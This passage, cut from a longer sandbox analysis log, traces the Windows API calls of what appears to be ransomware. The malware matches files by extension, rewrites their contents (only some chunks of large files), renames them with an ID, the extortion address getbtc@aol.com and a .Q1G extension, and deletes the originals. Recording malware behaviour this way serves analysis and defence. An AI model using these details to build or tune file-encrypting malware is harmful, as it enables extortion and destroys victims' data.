Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0049.823] lstrlenW (lpString=".jpg") returned 4 [0049.823] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0049.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0049.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0049.823] lstrlenW (lpString=".doc") returned 4 [0049.823] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0049.823] lstrlenW (lpString=".docx") returned 5 [0049.823] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0049.823] lstrlenW (lpString=".pdf") returned 4 [0049.823] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0049.823] lstrlenW (lpString=".xls") returned 4 [0049.823] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0049.823] lstrlenW (lpString=".xlsx") returned 5 [0049.823] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0049.823] lstrlenW (lpString=".ppt") returned 4 [0049.823] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0049.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0049.823] lstrlenW (lpString=".zip") returned 4 [0049.823] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0049.823] lstrlenW (lpString=".rar") returned 4 [0049.823] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0049.823] lstrlenW (lpString=".bz2") returned 4 [0049.823] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0049.823] lstrlenW (lpString=".7z") returned 3 [0049.823] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0049.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0049.823] lstrlenW (lpString=".dbf") returned 4 [0049.823] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0049.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0049.823] lstrlenW (lpString=".1cd") returned 4 [0049.823] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0049.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0049.824] lstrlenW (lpString=".jpg") returned 4 [0049.824] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0049.824] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0049.824] lstrlenW (lpString="PidGenX.dll") returned 11 [0049.824] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0050.968] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1463568) returned 1 [0050.968] CloseHandle (hObject=0x1a0) returned 1 [0050.968] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0050.968] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0050.968] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0050.968] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.968] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.968] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0050.968] GetLastError () returned 0x0 [0050.968] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0051.136] WriteFile (in: hFile=0x210, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0051.190] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0x65520, lpOverlapped=0x0) returned 1 [0051.414] WriteFile (in: hFile=0x210, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0x65530, lpOverlapped=0x0) returned 1 [0051.423] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.425] WriteFile (in: hFile=0x210, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.425] SetEndOfFile (hFile=0x210) returned 1 [0051.425] CloseHandle (hObject=0x210) returned 1 [0051.426] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.426] SetEndOfFile (hFile=0x1a0) returned 1 [0051.429] CloseHandle (hObject=0x1a0) returned 1 [0051.429] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0051.429] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0051.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.430] lstrlenW (lpString=".doc") returned 4 [0051.430] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0051.430] lstrlenW (lpString=".docx") returned 5 [0051.430] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0051.430] lstrlenW (lpString=".pdf") returned 4 [0051.430] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0051.430] lstrlenW (lpString=".xls") returned 4 [0051.430] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0051.430] lstrlenW (lpString=".xlsx") returned 5 [0051.430] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0051.430] lstrlenW (lpString=".ppt") returned 4 [0051.430] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0051.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.430] lstrlenW (lpString=".zip") returned 4 [0051.430] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0051.430] lstrlenW (lpString=".rar") returned 4 [0051.430] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0051.430] lstrlenW (lpString=".bz2") returned 4 [0051.430] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0051.430] lstrlenW (lpString=".7z") returned 3 [0051.430] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0051.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.430] lstrlenW (lpString=".dbf") returned 4 [0051.430] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0051.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.430] lstrlenW (lpString=".1cd") returned 4 [0051.430] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0051.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.430] lstrlenW (lpString=".jpg") returned 4 [0051.430] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0051.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.430] lstrlenW (lpString=".doc") returned 4 [0051.431] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0051.431] lstrlenW (lpString=".docx") returned 5 [0051.431] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0051.431] lstrlenW (lpString=".pdf") returned 4 [0051.431] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0051.431] lstrlenW (lpString=".xls") returned 4 [0051.431] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0051.431] lstrlenW (lpString=".xlsx") returned 5 [0051.431] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0051.431] lstrlenW (lpString=".ppt") returned 4 [0051.431] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0051.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.431] lstrlenW (lpString=".zip") returned 4 [0051.431] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0051.431] lstrlenW (lpString=".rar") returned 4 [0051.431] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0051.431] lstrlenW (lpString=".bz2") returned 4 [0051.431] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0051.431] lstrlenW (lpString=".7z") returned 3 [0051.431] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0051.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.431] lstrlenW (lpString=".dbf") returned 4 [0051.431] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0051.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.431] lstrlenW (lpString=".1cd") returned 4 [0051.431] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0051.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.431] lstrlenW (lpString=".jpg") returned 4 [0051.431] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0051.431] lstrcmpiW (lpString1=".msi", lpString2=".Q1G") returned -1 [0051.431] lstrlenW (lpString="Office32WW.msi") returned 14 [0051.432] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0051.432] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1992192) returned 1 [0051.432] CloseHandle (hObject=0x1a0) returned 1 [0051.432] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0051.943] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0051.943] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0051.944] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0051.944] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0x0) returned 1 [0051.944] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.944] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.078] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.079] ReadFile (in: hFile=0x1f0, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.110] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0052.110] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.110] ReadFile (in: hFile=0x1f0, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.130] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.130] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x328fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0052.382] SetEndOfFile (hFile=0x1f0) returned 1 [0052.382] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3fa56f0 [0052.382] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.382] WriteFile (in: hFile=0x1f0, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.384] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.384] WriteFile (in: hFile=0x1f0, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.386] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.386] WriteFile (in: hFile=0x1f0, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.388] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fa56f0 | out: hHeap=0x510000) returned 1 [0052.388] CloseHandle (hObject=0x1f0) returned 1 [0052.388] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0052.388] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0052.388] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0052.388] lstrlenW (lpString=".doc") returned 4 [0052.389] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0052.389] lstrlenW (lpString=".docx") returned 5 [0052.389] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0052.389] lstrlenW (lpString=".pdf") returned 4 [0052.389] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0052.389] lstrlenW (lpString=".xls") returned 4 [0052.389] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0052.389] lstrlenW (lpString=".xlsx") returned 5 [0052.389] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0052.389] lstrlenW (lpString=".ppt") returned 4 [0052.389] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0052.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0052.389] lstrlenW (lpString=".zip") returned 4 [0052.389] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0052.389] lstrlenW (lpString=".rar") returned 4 [0052.389] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0052.389] lstrlenW (lpString=".bz2") returned 4 [0052.389] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0052.389] lstrlenW (lpString=".7z") returned 3 [0052.389] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0052.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0052.389] lstrlenW (lpString=".dbf") returned 4 [0052.389] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0052.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0052.389] lstrlenW (lpString=".1cd") returned 4 [0052.389] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0052.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0052.389] lstrlenW (lpString=".jpg") returned 4 [0052.389] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0052.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0052.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0052.389] lstrlenW (lpString=".doc") returned 4 [0052.390] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0052.390] lstrlenW (lpString=".docx") returned 5 [0052.390] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0052.390] lstrlenW (lpString=".pdf") returned 4 [0052.390] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0052.390] lstrlenW (lpString=".xls") returned 4 [0052.390] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0052.390] lstrlenW (lpString=".xlsx") returned 5 [0052.390] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0052.390] lstrlenW (lpString=".ppt") returned 4 [0052.390] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0052.390] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0052.390] lstrlenW (lpString=".zip") returned 4 [0052.390] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0052.390] lstrlenW (lpString=".rar") returned 4 [0052.390] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0052.390] lstrlenW (lpString=".bz2") returned 4 [0052.390] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0052.390] lstrlenW (lpString=".7z") returned 3 [0052.390] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0052.390] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0052.390] lstrlenW (lpString=".dbf") returned 4 [0052.390] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0052.390] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0052.390] lstrlenW (lpString=".1cd") returned 4 [0052.390] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0052.390] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0052.390] lstrlenW (lpString=".jpg") returned 4 [0052.390] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0052.390] lstrcmpiW (lpString1=".exe", lpString2=".Q1G") returned -1 [0052.391] lstrlenW (lpString="setup.exe") returned 9 [0052.391] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0053.612] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1377656) returned 1 [0053.614] CloseHandle (hObject=0x218) returned 1 [0053.617] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0053.620] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0053.623] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0053.625] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.627] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.627] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0053.639] GetLastError () returned 0x0 [0053.640] ReadFile (in: hFile=0x218, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0053.704] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0054.278] ReadFile (in: hFile=0x218, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0x50588, lpOverlapped=0x0) returned 1 [0054.291] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0x50590, lpOverlapped=0x0) returned 1 [0054.299] ReadFile (in: hFile=0x218, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.300] WriteFile (in: hFile=0x1f0, 